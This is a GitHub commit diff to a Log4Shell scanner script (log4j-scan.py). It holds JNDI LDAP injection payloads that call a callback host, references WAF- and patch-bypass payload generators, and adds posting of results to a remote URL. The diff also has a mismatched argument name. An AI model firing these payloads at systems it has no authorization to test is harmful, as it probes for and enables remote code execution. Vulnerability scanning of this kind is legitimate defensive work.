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fix 不将测试目标的成功信息暴露给dns log Server 2022-07-20 #128

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fix 不将测试目标的成功信息暴露给dns log Server 2022-07-20 #128

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f06b4fb
fix 不将测试目标的成功信息暴露给dns log Server 2022-07-20
x51pwn Jul 20, 2022
9ff0721
add --resulturl 接收结果到url参数 2022-07-20
x51pwn Jul 20, 2022
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27 changes: 20 additions & 7 deletions log4j-scan.py
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Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@
import random
import requests
import time
import hashlib
import sys
from urllib import parse as urlparse
import base64
Expand Down Expand Up @@ -94,6 +95,10 @@
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-rurl", "--resulturl",
dest="url",
help="The url to receive the batch result",
action='store')
parser.add_argument("--request-type",
dest="request_type",
help="Request Type: (get, post) - [Default: get].",
Expand Down Expand Up @@ -227,9 +232,9 @@ def __init__(self, token="", server=""):
self.headers['Authorization'] = self.token
self.secret = str(uuid4())
self.encoded = b64encode(self.public_key).decode("utf8")
guid = uuid4().hex.ljust(33, 'a')
guid = ''.join(i if i.isdigit() else chr(ord(i) + random.randint(0, 20)) for i in guid)
self.domain = f'{guid}.{self.server}'
# guid = uuid4().hex.ljust(33, 'a')
# guid = ''.join(i if i.isdigit() else chr(ord(i) + random.randint(0, 20)) for i in guid)
self.domain = f'{self.server}'
self.correlation_id = self.domain[:20]

self.session = requests.session()
Expand Down Expand Up @@ -303,16 +308,19 @@ def parse_url(url):


def scan_url(url, callback_host):
parsed_url = parse_url(url)
# print("callback_host == " + callback_host)
# parsed_url = parse_url(url)
random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for i in range(7))
payload = '${jndi:ldap://%s.%s/%s}' % (parsed_url["host"], callback_host, random_string)
# 不要将自己发现的目标漏洞暴露给 dns server
szKey = hashlib.md5(str(url).encode('utf8')).hexdigest()
payload = '${jndi:ldap://%s.%s/%s}' % (szKey, callback_host, random_string)
payloads = [payload]
if args.waf_bypass_payloads:
payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string))
payloads.extend(generate_waf_bypass_payloads(f'{szKey}.{callback_host}', random_string))

if args.cve_2021_45046:
cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow")
payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)
payloads = get_cve_2021_45046_payloads(f'{szKey}.{callback_host}', random_string)

for payload in payloads:
cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan")
Expand Down Expand Up @@ -403,6 +411,11 @@ def main():
cprint("[•] Targets do not seem to be vulnerable.", "green")
else:
cprint("[!!!] Targets Affected", "yellow")
if args.resulturl:
szData = json.dumps(records)
szKey = hashlib.md5(szData.encode('utf8')).hexdigest()
requests.post(args.resulturl + '/scan4all_index/_doc/' + szKey, data=szData, verify=False, headers={"Content-Type": "application/json;charset=UTF-8","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"},timeout=(10,15),allow_redirects=False)

for i in records:
cprint(json.dumps(i), "yellow")

Expand Down